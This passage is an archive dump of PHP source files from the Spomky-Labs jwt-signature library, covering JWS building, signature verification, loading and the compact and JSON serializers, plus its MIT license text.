$this->findSignatureAlgorithm($signatureKey, $protectedHeader, $header); KeyChecker::checkKeyAlgorithm($signatureKey, $algorithm->name()); $clone = clone $this; $clone->signatures[] = [ 'signature_algorithm' => $algorithm, 'signature_key' => $signatureKey, 'protected_header' => $protectedHeader, 'header' => $header, ]; return $clone; } /** * Computes all signatures and return the expected JWS object. * * @throws RuntimeException if the payload is not set * @throws RuntimeException if no signature is defined */ public function build(): JWS { if (null === $this->payload) { throw new RuntimeException('The payload is not set.'); } if (0 === count($this->signatures)) { throw new RuntimeException('At least one signature must be set.'); } $encodedPayload = false === $this->isPayloadEncoded ? $this->payload : Base64Url::encode($this->payload); $jws = new JWS($this->payload, $encodedPayload, $this->isPayloadDetached); foreach ($this->signatures as $signature) { /** @var MacAlgorithm|SignatureAlgorithm $algorithm */ $algorithm = $signature['signature_algorithm']; /** @var JWK $signatureKey */ $signatureKey = $signature['signature_key']; /** @var array $protectedHeader */ $protectedHeader = $signature['protected_header']; /** @var array $header */ $header = $signature['header']; $encodedProtectedHeader = 0 === count($protectedHeader) ? null : Base64Url::encode(JsonConverter::encode($protectedHeader)); $input = sprintf('%s.%s', $encodedProtectedHeader, $encodedPayload); if ($algorithm instanceof SignatureAlgorithm) { $s = $algorithm->sign($signatureKey, $input); } else { $s = $algorithm->hash($signatureKey, $input); } $jws = $jws->addSignature($s, $protectedHeader, $encodedProtectedHeader, $header); } return $jws; } private function checkIfPayloadIsEncoded(array $protectedHeader): bool { return !array_key_exists('b64', $protectedHeader) || true === $protectedHeader['b64']; } /** * @throws LogicException if the header parameter "crit" is missing, invalid or does not contain "b64" when "b64" is set */ private function checkB64AndCriticalHeader(array $protectedHeader): void { if (!array_key_exists('b64', $protectedHeader)) { return; } if (!array_key_exists('crit', $protectedHeader)) { throw new LogicException('The protected header parameter "crit" is mandatory when protected header parameter "b64" is set.'); } if (!is_array($protectedHeader['crit'])) { throw new LogicException('The protected header parameter "crit" must be an array.'); } if (!in_array('b64', $protectedHeader['crit'], true)) { throw new LogicException('The protected header parameter "crit" must contain "b64" when protected header parameter "b64" is set.'); } } /** * @throws InvalidArgumentException if the header parameter "alg" is missing or the algorithm is not allowed/not supported * * @return MacAlgorithm|SignatureAlgorithm */ private function findSignatureAlgorithm(JWK $key, array $protectedHeader, array $header): Algorithm { $completeHeader = array_merge($header, $protectedHeader); if (!array_key_exists('alg', $completeHeader)) { throw new InvalidArgumentException('No "alg" parameter set in the header.'); } if ($key->has('alg') && $key->get('alg') !== $completeHeader['alg']) { throw new InvalidArgumentException(sprintf('The algorithm "%s" is not allowed with this key.', $completeHeader['alg'])); } $algorithm = $this->signatureAlgorithmManager->get($completeHeader['alg']); if (!$algorithm instanceof SignatureAlgorithm && !$algorithm instanceof MacAlgorithm) { throw new InvalidArgumentException(sprintf('The algorithm "%s" is not supported.', $completeHeader['alg'])); } return $algorithm; } /** * @throws InvalidArgumentException if the header contains duplicated entries */ private function checkDuplicatedHeaderParameters(array $header1, array $header2): void { $inter = array_intersect_key($header1, $header2); if (0 !== count($inter)) { throw new InvalidArgumentException(sprintf('The header contains duplicated entries: %s.', implode(', ', array_keys($inter)))); } } } jwt-signature/JWSTokenSupport.php 0000644 00000002121 15174446347 0013134 0 ustar 00 <?php declare(strict_types=1); /* * The MIT License (MIT) * * Copyright (c) 2014-2020 Spomky-Labs * * This software may be modified and distributed under the terms * of the MIT license. See the LICENSE file for details. */ namespace Jose\Component\Signature; use InvalidArgumentException; use Jose\Component\Checker\TokenTypeSupport; use Jose\Component\Core\JWT; final class JWSTokenSupport implements TokenTypeSupport { public function supports(JWT $jwt): bool { return $jwt instanceof JWS; } /** * @throws InvalidArgumentException if the signature index does not exist */ public function retrieveTokenHeaders(JWT $jwt, int $index, array &$protectedHeader, array &$unprotectedHeader): void { if (!$jwt instanceof JWS) { return; } if ($index > $jwt->countSignatures()) { throw new InvalidArgumentException('Unknown signature index.'); } $protectedHeader = $jwt->getSignature($index)->getProtectedHeader(); $unprotectedHeader = $jwt->getSignature($index)->getHeader(); } } jwt-signature/LICENSE 0000644 00000002073 15174446347 0010375 0 ustar 00 The MIT License (MIT) Copyright (c) 2014-2019 Spomky-Labs Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. jwt-signature/JWSVerifier.php 0000644 00000014675 15174446347 0012253 0 ustar 00 <?php declare(strict_types=1); /* * The MIT License (MIT) * * Copyright (c) 2014-2020 Spomky-Labs * * This software may be modified and distributed under the terms * of the MIT license. See the LICENSE file for details. */ namespace Jose\Component\Signature; use Base64Url\Base64Url; use InvalidArgumentException; use Jose\Component\Core\Algorithm; use Jose\Component\Core\AlgorithmManager; use Jose\Component\Core\JWK; use Jose\Component\Core\JWKSet; use Jose\Component\Core\Util\KeyChecker; use Jose\Component\Signature\Algorithm\MacAlgorithm; use Jose\Component\Signature\Algorithm\SignatureAlgorithm; use Throwable; class JWSVerifier { /** * @var AlgorithmManager */ private $signatureAlgorithmManager; /** * JWSVerifier constructor. */ public function __construct(AlgorithmManager $signatureAlgorithmManager) { $this->signatureAlgorithmManager = $signatureAlgorithmManager; } /** * Returns the algorithm manager associated to the JWSVerifier. */ public function getSignatureAlgorithmManager(): AlgorithmManager { return $this->signatureAlgorithmManager; } /** * This method will try to verify the JWS object using the given key and for the given signature. * It returns true if the signature is verified, otherwise false. * * @return bool true if the verification of the signature succeeded, else false */ public function verifyWithKey(JWS $jws, JWK $jwk, int $signature, ?string $detachedPayload = null): bool { $jwkset = new JWKSet([$jwk]); return $this->verifyWithKeySet($jws, $jwkset, $signature, $detachedPayload); } /** * This method will try to verify the JWS object using the given key set and for the given signature. * It returns true if the signature is verified, otherwise false. * * @param JWS $jws A JWS object * @param JWKSet $jwkset The signature will be verified using keys in the key set * @param JWK $jwk The key used to verify the signature in case of success * @param null|string $detachedPayload If not null, the value must be the detached payload encoded in Base64 URL safe. If the input contains a payload, throws an exception. * * @throws InvalidArgumentException if there is no key in the keyset * @throws InvalidArgumentException if the token does not contain any signature * * @return bool true if the verification of the signature succeeded, else false */ public function verifyWithKeySet(JWS $jws, JWKSet $jwkset, int $signatureIndex, ?string $detachedPayload = null, JWK &$jwk = null): bool { if (0 === $jwkset->count()) { throw new InvalidArgumentException('There is no key in the key set.'); } if (0 === $jws->countSignatures()) { throw new InvalidArgumentException('The JWS does not contain any signature.'); } $this->checkPayload($jws, $detachedPayload); $signature = $jws->getSignature($signatureIndex); return $this->verifySignature($jws, $jwkset, $signature, $detachedPayload, $jwk); } private function verifySignature(JWS $jws, JWKSet $jwkset, Signature $signature, ?string $detachedPayload = null, JWK &$successJwk = null): bool { $input = $this->getInputToVerify($jws, $signature, $detachedPayload); $algorithm = $this->getAlgorithm($signature); foreach ($jwkset->all() as $jwk) { try { KeyChecker::checkKeyUsage($jwk, 'verification'); KeyChecker::checkKeyAlgorithm($jwk, $algorithm->name()); if (true === $algorithm->verify($jwk, $input, $signature->getSignature())) { $successJwk = $jwk; return true; } } catch (Throwable $e) { //We do nothing, we continue with other keys continue; } } return false; } private function getInputToVerify(JWS $jws, Signature $signature, ?string $detachedPayload): string { $isPayloadEmpty = $this->isPayloadEmpty($jws->getPayload()); $encodedProtectedHeader = $signature->getEncodedProtectedHeader(); if (!$signature->hasProtectedHeaderParameter('b64') || true === $signature->getProtectedHeaderParameter('b64')) { if (null !== $jws->getEncodedPayload()) { return sprintf('%s.%s', $encodedProtectedHeader, $jws->getEncodedPayload()); } $payload = $isPayloadEmpty ? $detachedPayload : $jws->getPayload(); return sprintf('%s.%s', $encodedProtectedHeader, Base64Url::encode($payload)); } $payload = $isPayloadEmpty ? $detachedPayload : $jws->getPayload(); return sprintf('%s.%s', $encodedProtectedHeader, $payload); } /** * @throws InvalidArgumentException if the payload is set when a detached payload is provided or no payload is defined */ private function checkPayload(JWS $jws, ?string $detachedPayload = null): void { $isPayloadEmpty = $this->isPayloadEmpty($jws->getPayload()); if (null !== $detachedPayload && !$isPayloadEmpty) { throw new InvalidArgumentException('A detached payload is set, but the JWS already has a payload.'); } if ($isPayloadEmpty && null === $detachedPayload) { throw new InvalidArgumentException('The JWS has a detached payload, but no payload is provided.'); } } /** * @throws InvalidArgumentException if the header parameter "alg" is missing or invalid * * @return MacAlgorithm|SignatureAlgorithm */ private function getAlgorithm(Signature $signature): Algorithm { $completeHeader = array_merge($signature->getProtectedHeader(), $signature->getHeader()); if (!isset($completeHeader['alg'])) { throw new InvalidArgumentException('No "alg" parameter set in the header.'); } $algorithm = $this->signatureAlgorithmManager->get($completeHeader['alg']); if (!$algorithm instanceof SignatureAlgorithm && !$algorithm instanceof MacAlgorithm) { throw new InvalidArgumentException(sprintf('The algorithm "%s" is not supported or is not a signature or MAC algorithm.', $completeHeader['alg'])); } return $algorithm; } private function isPayloadEmpty(?string $payload): bool { return null === $payload || '' === $payload; } } jwt-signature/JWS.php 0000644 00000006655 15174446347 0010556 0 ustar 00 <?php declare(strict_types=1); /* * The MIT License (MIT) * * Copyright (c) 2014-2020 Spomky-Labs * * This software may be modified and distributed under the terms * of the MIT license. See the LICENSE file for details. */ namespace Jose\Component\Signature; use function count; use InvalidArgumentException; use Jose\Component\Core\JWT; class JWS implements JWT { /** * @var bool */ private $isPayloadDetached = false; /** * @var null|string */ private $encodedPayload; /** * @var Signature[] */ private $signatures = []; /** * @var null|string */ private $payload; public function __construct(?string $payload, ?string $encodedPayload = null, bool $isPayloadDetached = false) { $this->payload = $payload; $this->encodedPayload = $encodedPayload; $this->isPayloadDetached = $isPayloadDetached; } public function getPayload(): ?string { return $this->payload; } /** * Returns true if the payload is detached. */ public function isPayloadDetached(): bool { return $this->isPayloadDetached; } /** * Returns the Base64Url encoded payload. * If the payload is detached, this method returns null. */ public function getEncodedPayload(): ?string { if (true === $this->isPayloadDetached()) { return null; } return $this->encodedPayload; } /** * Returns the signatures associated with the JWS. * * @return Signature[] */ public function getSignatures(): array { return $this->signatures; } /** * Returns the signature at the given index. * * @throws InvalidArgumentException if the signature index does not exist */ public function getSignature(int $id): Signature { if (isset($this->signatures[$id])) { return $this->signatures[$id]; } throw new InvalidArgumentException('The signature does not exist.'); } /** * This method adds a signature to the JWS object. * Its returns a new JWS object. * * @internal * * @return JWS */ public function addSignature(string $signature, array $protectedHeader, ?string $encodedProtectedHeader, array $header = []): self { $jws = clone $this; $jws->signatures[] = new Signature($signature, $protectedHeader, $encodedProtectedHeader, $header); return $jws; } /** * Returns the number of signature associated with the JWS. */ public function countSignatures(): int { return count($this->signatures); } /** * This method splits the JWS into a list of JWSs. * It is only useful when the JWS contains more than one signature (JSON General Serialization). * * @return JWS[] */ public function split(): array { $result = []; foreach ($this->signatures as $signature) { $jws = new self( $this->payload, $this->encodedPayload, $this->isPayloadDetached ); $jws = $jws->addSignature( $signature->getSignature(), $signature->getProtectedHeader(), $signature->getEncodedProtectedHeader(), $signature->getHeader() ); $result[] = $jws; } return $result; } } jwt-signature/JWSLoaderFactory.php 0000644 00000003510 15174446347 0013220 0 ustar 00 <?php declare(strict_types=1); /* * The MIT License (MIT) * * Copyright (c) 2014-2020 Spomky-Labs * * This software may be modified and distributed under the terms * of the MIT license. See the LICENSE file for details. */ namespace Jose\Component\Signature; use Jose\Component\Checker\HeaderCheckerManagerFactory; use Jose\Component\Signature\Serializer\JWSSerializerManagerFactory; class JWSLoaderFactory { /** * @var JWSVerifierFactory */ private $jwsVerifierFactory; /** * @var JWSSerializerManagerFactory */ private $jwsSerializerManagerFactory; /** * @var null|HeaderCheckerManagerFactory */ private $headerCheckerManagerFactory; public function __construct(JWSSerializerManagerFactory $jwsSerializerManagerFactory, JWSVerifierFactory $jwsVerifierFactory, ?HeaderCheckerManagerFactory $headerCheckerManagerFactory) { $this->jwsSerializerManagerFactory = $jwsSerializerManagerFactory; $this->jwsVerifierFactory = $jwsVerifierFactory; $this->headerCheckerManagerFactory = $headerCheckerManagerFactory; } /** * Creates a JWSLoader using the given serializer aliases, signature algorithm aliases and (optionally) * the header checker aliases. */ public function create(array $serializers, array $algorithms, array $headerCheckers = []): JWSLoader { $serializerManager = $this->jwsSerializerManagerFactory->create($serializers); $jwsVerifier = $this->jwsVerifierFactory->create($algorithms); if (null !== $this->headerCheckerManagerFactory) { $headerCheckerManager = $this->headerCheckerManagerFactory->create($headerCheckers); } else { $headerCheckerManager = null; } return new JWSLoader($serializerManager, $jwsVerifier, $headerCheckerManager); } } jwt-signature/JWSLoader.php 0000644 00000007041 15174446347 0011673 0 ustar 00 <?php declare(strict_types=1); /* * The MIT License (MIT) * * Copyright (c) 2014-2020 Spomky-Labs * * This software may be modified and distributed under the terms * of the MIT license. See the LICENSE file for details. */ namespace Jose\Component\Signature; use Exception; use Jose\Component\Checker\HeaderCheckerManager; use Jose\Component\Core\JWK; use Jose\Component\Core\JWKSet; use Jose\Component\Signature\Serializer\JWSSerializerManager; use Throwable; class JWSLoader { /** * @var JWSVerifier */ private $jwsVerifier; /** * @var null|HeaderCheckerManager */ private $headerCheckerManager; /** * @var JWSSerializerManager */ private $serializerManager; /** * JWSLoader constructor. */ public function __construct(JWSSerializerManager $serializerManager, JWSVerifier $jwsVerifier, ?HeaderCheckerManager $headerCheckerManager) { $this->serializerManager = $serializerManager; $this->jwsVerifier = $jwsVerifier; $this->headerCheckerManager = $headerCheckerManager; } /** * Returns the JWSVerifier associated to the JWSLoader. */ public function getJwsVerifier(): JWSVerifier { return $this->jwsVerifier; } /** * Returns the Header Checker Manager associated to the JWSLoader. */ public function getHeaderCheckerManager(): ?HeaderCheckerManager { return $this->headerCheckerManager; } /** * Returns the JWSSerializer associated to the JWSLoader. */ public function getSerializerManager(): JWSSerializerManager { return $this->serializerManager; } /** * This method will try to load and verify the token using the given key. * It returns a JWS and will populate the $signature variable in case of success, otherwise an exception is thrown. * * @throws Exception if the token cannot be loaded or verified */ public function loadAndVerifyWithKey(string $token, JWK $key, ?int &$signature, ?string $payload = null): JWS { $keyset = new JWKSet([$key]); return $this->loadAndVerifyWithKeySet($token, $keyset, $signature, $payload); } /** * This method will try to load and verify the token using the given key set. * It returns a JWS and will populate the $signature variable in case of success, otherwise an exception is thrown. * * @throws Exception if the token cannot be loaded or verified */ public function loadAndVerifyWithKeySet(string $token, JWKSet $keyset, ?int &$signature, ?string $payload = null): JWS { try { $jws = $this->serializerManager->unserialize($token); $nbSignatures = $jws->countSignatures(); for ($i = 0; $i < $nbSignatures; ++$i) { if ($this->processSignature($jws, $keyset, $i, $payload)) { $signature = $i; return $jws; } } } catch (Throwable $e) { // Nothing to do. Exception thrown just after } throw new Exception('Unable to load and verify the token.'); } private function processSignature(JWS $jws, JWKSet $keyset, int $signature, ?string $payload): bool { try { if (null !== $this->headerCheckerManager) { $this->headerCheckerManager->check($jws, $signature); } return $this->jwsVerifier->verifyWithKeySet($jws, $keyset, $signature, $payload); } catch (Throwable $e) { return false; } } } jwt-signature/Signature.php 0000644 00000006135 15174446347 0012045 0 ustar 00 <?php declare(strict_types=1); /* * The MIT License (MIT) * * Copyright (c) 2014-2020 Spomky-Labs * * This software may be modified and distributed under the terms * of the MIT license. See the LICENSE file for details. */ namespace Jose\Component\Signature; use function array_key_exists; use InvalidArgumentException; class Signature { /** * @var null|string */ private $encodedProtectedHeader; /** * @var array */ private $protectedHeader; /** * @var array */ private $header; /** * @var string */ private $signature; public function __construct(string $signature, array $protectedHeader, ?string $encodedProtectedHeader, array $header) { $this->protectedHeader = null === $encodedProtectedHeader ? [] : $protectedHeader; $this->encodedProtectedHeader = $encodedProtectedHeader; $this->signature = $signature; $this->header = $header; } /** * The protected header associated with the signature. */ public function getProtectedHeader(): array { return $this->protectedHeader; } /** * The unprotected header associated with the signature. */ public function getHeader(): array { return $this->header; } /** * The protected header associated with the signature. */ public function getEncodedProtectedHeader(): ?string { return $this->encodedProtectedHeader; } /** * Returns the value of the protected header of the specified key. * * @param string $key The key * * @throws InvalidArgumentException if the header parameter does not exist * * @return null|mixed Header value */ public function getProtectedHeaderParameter(string $key) { if ($this->hasProtectedHeaderParameter($key)) { return $this->getProtectedHeader()[$key]; } throw new InvalidArgumentException(sprintf('The protected header "%s" does not exist', $key)); } /** * Returns true if the protected header has the given parameter. * * @param string $key The key */ public function hasProtectedHeaderParameter(string $key): bool { return array_key_exists($key, $this->getProtectedHeader()); } /** * Returns the value of the unprotected header of the specified key. * * @param string $key The key * * @return null|mixed Header value */ public function getHeaderParameter(string $key) { if ($this->hasHeaderParameter($key)) { return $this->header[$key]; } throw new InvalidArgumentException(sprintf('The header "%s" does not exist', $key)); } /** * Returns true if the unprotected header has the given parameter. * * @param string $key The key */ public function hasHeaderParameter(string $key): bool { return array_key_exists($key, $this->header); } /** * Returns the value of the signature. */ public function getSignature(): string { return $this->signature; } } jwt-signature/Serializer/JWSSerializerManager.php 0000644 00000004170 15174446347 0016202 0 ustar 00 <?php declare(strict_types=1); /* * The MIT License (MIT) * * Copyright (c) 2014-2020 Spomky-Labs * * This software may be modified and distributed under the terms * of the MIT license. See the LICENSE file for details. */ namespace Jose\Component\Signature\Serializer; use InvalidArgumentException; use Jose\Component\Signature\JWS; class JWSSerializerManager { /** * @var JWSSerializer[] */ private $serializers = []; /** * @param JWSSerializer[] $serializers */ public function __construct(array $serializers) { foreach ($serializers as $serializer) { $this->add($serializer); } } /** * @return string[] */ public function list(): array { return array_keys($this->serializers); } /** * Converts a JWS into a string. * * @throws InvalidArgumentException if the serializer is not supported */ public function serialize(string $name, JWS $jws, ?int $signatureIndex = null): string { if (!isset($this->serializers[$name])) { throw new InvalidArgumentException(sprintf('Unsupported serializer "%s".', $name)); } return $this->serializers[$name]->serialize($jws, $signatureIndex); } /** * Loads data and return a JWS object. * * @param string $input A string that represents a JWS * @param null|string $name the name of the serializer if the input is unserialized * * @throws InvalidArgumentException if the input is not supported */ public function unserialize(string $input, ?string &$name = null): JWS { foreach ($this->serializers as $serializer) { try { $jws = $serializer->unserialize($input); $name = $serializer->name(); return $jws; } catch (InvalidArgumentException $e) { continue; } } throw new InvalidArgumentException('Unsupported input.'); } private function add(JWSSerializer $serializer): void { $this->serializers[$serializer->name()] = $serializer; } } jwt-signature/Serializer/JSONGeneralSerializer.php 0000644 00000012415 15174446347 0016314 0 ustar 00 <?php declare(strict_types=1); /* * The MIT License (MIT) * * Copyright (c) 2014-2020 Spomky-Labs * * This software may be modified and distributed under the terms * of the MIT license. See the LICENSE file for details. */ namespace Jose\Component\Signature\Serializer; use function array_key_exists; use Base64Url\Base64Url; use function count; use InvalidArgumentException; use function is_array; use function is_string; use Jose\Component\Core\Util\JsonConverter; use Jose\Component\Signature\JWS; use LogicException; final class JSONGeneralSerializer extends Serializer { public const NAME = 'jws_json_general'; public function displayName(): string { return 'JWS JSON General'; } public function name(): string { return self::NAME; } /** * @throws LogicException if no signature is attached */ public function serialize(JWS $jws, ?int $signatureIndex = null): string { if (0 === $jws->countSignatures()) { throw new LogicException('No signature.'); } $data = []; $this->checkPayloadEncoding($jws); if (false === $jws->isPayloadDetached()) { $data['payload'] = $jws->getEncodedPayload(); } $data['signatures'] = []; foreach ($jws->getSignatures() as $signature) { $tmp = ['signature' => Base64Url::encode($signature->getSignature())]; $values = [ 'protected' => $signature->getEncodedProtectedHeader(), 'header' => $signature->getHeader(), ]; foreach ($values as $key => $value) { if ((is_string($value) && '' !== $value) || (is_array($value) && 0 !== count($value))) { $tmp[$key] = $value; } } $data['signatures'][] = $tmp; } return JsonConverter::encode($data); } /** * @throws InvalidArgumentException if the input is not supported */ public function unserialize(string $input): JWS { $data = JsonConverter::decode($input); if (!isset($data['signatures'])) { throw new InvalidArgumentException('Unsupported input.'); } $isPayloadEncoded = null; $rawPayload = $data['payload'] ?? null; $signatures = []; foreach ($data['signatures'] as $signature) { if (!isset($signature['signature'])) { throw new InvalidArgumentException('Unsupported input.'); } [$encodedProtectedHeader, $protectedHeader, $header] = $this->processHeaders($signature); $signatures[] = [ 'signature' => Base64Url::decode($signature['signature']), 'protected' => $protectedHeader, 'encoded_protected' => $encodedProtectedHeader, 'header' => $header, ]; $isPayloadEncoded = $this->processIsPayloadEncoded($isPayloadEncoded, $protectedHeader); } $payload = $this->processPayload($rawPayload, $isPayloadEncoded); $jws = new JWS($payload, $rawPayload); foreach ($signatures as $signature) { $jws = $jws->addSignature( $signature['signature'], $signature['protected'], $signature['encoded_protected'], $signature['header'] ); } return $jws; } /** * @throws InvalidArgumentException if the payload encoding is invalid */ private function processIsPayloadEncoded(?bool $isPayloadEncoded, array $protectedHeader): bool { if (null === $isPayloadEncoded) { return $this->isPayloadEncoded($protectedHeader); } if ($this->isPayloadEncoded($protectedHeader) !== $isPayloadEncoded) { throw new InvalidArgumentException('Foreign payload encoding detected.'); } return $isPayloadEncoded; } private function processHeaders(array $signature): array { $encodedProtectedHeader = $signature['protected'] ?? null; $protectedHeader = null === $encodedProtectedHeader ? [] : JsonConverter::decode(Base64Url::decode($encodedProtectedHeader)); $header = array_key_exists('header', $signature) ? $signature['header'] : []; return [$encodedProtectedHeader, $protectedHeader, $header]; } private function processPayload(?string $rawPayload, ?bool $isPayloadEncoded): ?string { if (null === $rawPayload) { return null; } return false === $isPayloadEncoded ? $rawPayload : Base64Url::decode($rawPayload); } // @throws LogicException if the payload encoding is invalid private function checkPayloadEncoding(JWS $jws): void { if ($jws->isPayloadDetached()) { return; } $is_encoded = null; foreach ($jws->getSignatures() as $signature) { if (null === $is_encoded) { $is_encoded = $this->isPayloadEncoded($signature->getProtectedHeader()); } if (false === $jws->isPayloadDetached()) { if ($is_encoded !== $this->isPayloadEncoded($signature->getProtectedHeader())) { throw new LogicException('Foreign payload encoding detected.'); } } } } } jwt-signature/Serializer/JWSSerializer.php 0000644 00000001426 15174446347 0014710 0 ustar 00 <?php declare(strict_types=1); /* * The MIT License (MIT) * * Copyright (c) 2014-2020 Spomky-Labs * * This software may be modified and distributed under the terms * of the MIT license. See the LICENSE file for details. */ namespace Jose\Component\Signature\Serializer; use Jose\Component\Signature\JWS; interface JWSSerializer { /** * The name of the serialization. */ public function name(): string; public function displayName(): string; /** * Converts a JWS into a string. */ public function serialize(JWS $jws, ?int $signatureIndex = null): string; /** * Loads data and return a JWS object. * * @param string $input A string that represents a JWS */ public function unserialize(string $input): JWS; } jwt-signature/Serializer/Serializer.php 0000644 00000001042 15174446347 0014316 0 ustar 00 <?php declare(strict_types=1); /* * The MIT License (MIT) * * Copyright (c) 2014-2020 Spomky-Labs * * This software may be modified and distributed under the terms * of the MIT license. See the LICENSE file for details. */ namespace Jose\Component\Signature\Serializer; use function array_key_exists; abstract class Serializer implements JWSSerializer { protected function isPayloadEncoded(array $protectedHeader): bool { return !array_key_exists('b64', $protectedHeader) || true === $protectedHeader['b64']; } } jwt-signature/Serializer/JWSSerializerManagerFactory.php 0000644 00000002542 15174446347 0017533 0 ustar 00 <?php declare(strict_types=1); /* * The MIT License (MIT) * * Copyright (c) 2014-2020 Spomky-Labs * * This software may be modified and distributed under the terms * of the MIT license. See the LICENSE file for details. */ namespace Jose\Component\Signature\Serializer; use InvalidArgumentException; class JWSSerializerManagerFactory { /** * @var JWSSerializer[] */ private $serializers = []; /** * @param string[] $names * * @throws InvalidArgumentException if the serializer is not supported */ public function create(array $names): JWSSerializerManager { $serializers = []; foreach ($names as $name) { if (!isset($this->serializers[$name])) { throw new InvalidArgumentException(sprintf('Unsupported serializer "%s".', $name)); } $serializers[] = $this->serializers[$name]; } return new JWSSerializerManager($serializers); } /** * @return string[] */ public function names(): array { return array_keys($this->serializers); } /** * @return JWSSerializer[] */ public function all(): array { return $this->serializers; } public function add(JWSSerializer $serializer): void { $this->serializers[$serializer->name()] = $serializer; } } jwt-signature/Serializer/CompactSerializer.php 0000644 00000006116 15174446347 0015634 0 ustar 00 <?php declare(strict_types=1); /* * The MIT License (MIT) * * Copyright (c) 2014-2020 Spomky-Labs * * This software may be modified and distributed under the terms * of the MIT license. See the LICENSE file for details. */ namespace Jose\Component\Signature\Serializer; use Base64Url\Base64Url; use function count; use InvalidArgumentException; use Jose\Component\Core\Util\JsonConverter; use Jose\Component\Signature\JWS; use LogicException; use Throwable; final class CompactSerializer extends Serializer { public const NAME = 'jws_compact'; public function displayName(): string { return 'JWS Compact'; } public function name(): string { return self::NAME; } /** * @throws LogicException if the JWS has unprotected header (invalid for compact JSON) * @throws LogicException if the payload is not encoded but contains unauthorized characters */ public function serialize(JWS $jws, ?int $signatureIndex = null): string { if (null === $signatureIndex) { $signatureIndex = 0; } $signature = $jws->getSignature($signatureIndex); if (0 !== count($signature->getHeader())) { throw new LogicException('The signature contains unprotected header parameters and cannot be converted into compact JSON.'); } $isEmptyPayload = null === $jws->getEncodedPayload() || '' === $jws->getEncodedPayload(); if (!$this->isPayloadEncoded($signature->getProtectedHeader()) && !$isEmptyPayload) { if (1 !== preg_match('/^[\x{20}-\x{2d}|\x{2f}-\x{7e}]*$/u', $jws->getPayload())) { throw new LogicException('Unable to convert the JWS with non-encoded payload.'); } } return sprintf( '%s.%s.%s', $signature->getEncodedProtectedHeader(), $jws->getEncodedPayload(), Base64Url::encode($signature->getSignature()) ); } /** * @throws InvalidArgumentException if the input is invalid */ public function unserialize(string $input): JWS { $parts = explode('.', $input); if (3 !== count($parts)) { throw new InvalidArgumentException('Unsupported input'); } try { $encodedProtectedHeader = $parts[0]; $protectedHeader = JsonConverter::decode(Base64Url::decode($parts[0])); $hasPayload = '' !== $parts[1]; if (!$hasPayload) { $payload = null; $encodedPayload = null; } else { $encodedPayload = $parts[1]; $payload = $this->isPayloadEncoded($protectedHeader) ? Base64Url::decode($encodedPayload) : $encodedPayload; } $signature = Base64Url::decode($parts[2]); $jws = new JWS($payload, $encodedPayload, !$hasPayload); return $jws->addSignature($signature, $protectedHeader, $encodedProtectedHeader); } catch (Throwable $throwable) { throw new InvalidArgumentException('Unsupported input', $throwable->getCode(), $throwable); } } } jwt-signature/Serializer/JSONFlattenedSerializer.php 0000644 00000006547 15174446347 0016656 0 ustar 00 <?php declare(strict_types=1); /* * The MIT License (MIT) * * Copyright (c) 2014-2020 Spomky-Labs * * This software may be modified and distributed under the terms * of the MIT license. See the LICENSE file for details. */ namespace Jose\Component\Signature\Serializer; use Base64Url\Base64Url; use function count; use InvalidArgumentException; use function is_array; use Jose\Component\Core\Util\JsonConverter; use Jose\Component\Signature\JWS; final class JSONFlattenedSerializer extends Serializer { public const NAME = 'jws_json_flattened'; public function displayName(): string { return 'JWS JSON Flattened'; } public function name(): string { return self::NAME; } public function serialize(JWS $jws, ?int $signatureIndex = null): string { if (null === $signatureIndex) { $signatureIndex = 0; } $signature = $jws->getSignature($signatureIndex); $data = []; $values = [ 'payload' => $jws->getEncodedPayload(), 'protected' => $signature->getEncodedProtectedHeader(), 'header' => $signature->getHeader(), ]; $encodedPayload = $jws->getEncodedPayload(); if (null !== $encodedPayload && '' !== $encodedPayload) { $data['payload'] = $encodedPayload; } $encodedProtectedHeader = $signature->getEncodedProtectedHeader(); if (null !== $encodedProtectedHeader && '' !== $encodedProtectedHeader) { $data['protected'] = $encodedProtectedHeader; } $header = $signature->getHeader(); if (0 !== count($header)) { $data['header'] = $header; } $data['signature'] = Base64Url::encode($signature->getSignature()); return JsonConverter::encode($data); } /** * @throws InvalidArgumentException if the input is not supported * @throws InvalidArgumentException if the JWS header is invalid */ public function unserialize(string $input): JWS { $data = JsonConverter::decode($input); if (!is_array($data)) { throw new InvalidArgumentException('Unsupported input.'); } if (!isset($data['signature'])) { throw new InvalidArgumentException('Unsupported input.'); } $signature = Base64Url::decode($data['signature']); if (isset($data['protected'])) { $encodedProtectedHeader = $data['protected']; $protectedHeader = JsonConverter::decode(Base64Url::decode($data['protected'])); } else { $encodedProtectedHeader = null; $protectedHeader = []; } if (isset($data['header'])) { if (!is_array($data['header'])) { throw new InvalidArgumentException('Bad header.'); } $header = $data['header']; } else { $header = []; } if (isset($data['payload'])) { $encodedPayload = $data['payload']; $payload = $this->isPayloadEncoded($protectedHeader) ? Base64Url::decode($encodedPayload) : $encodedPayload; } else { $payload = null; $encodedPayload = null; } $jws = new JWS($payload, $encodedPayload, null === $encodedPayload); return $jws->addSignature($signature, $protectedHeader, $encodedProtectedHeader, $header); } } jwt-signature-algorithm-experimental/LICENSE 0000644 00000002073 15174446347 0015054 0 ustar 00 The MIT License (MIT) Copyright (c) 2014-2019 Spomky-Labs Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 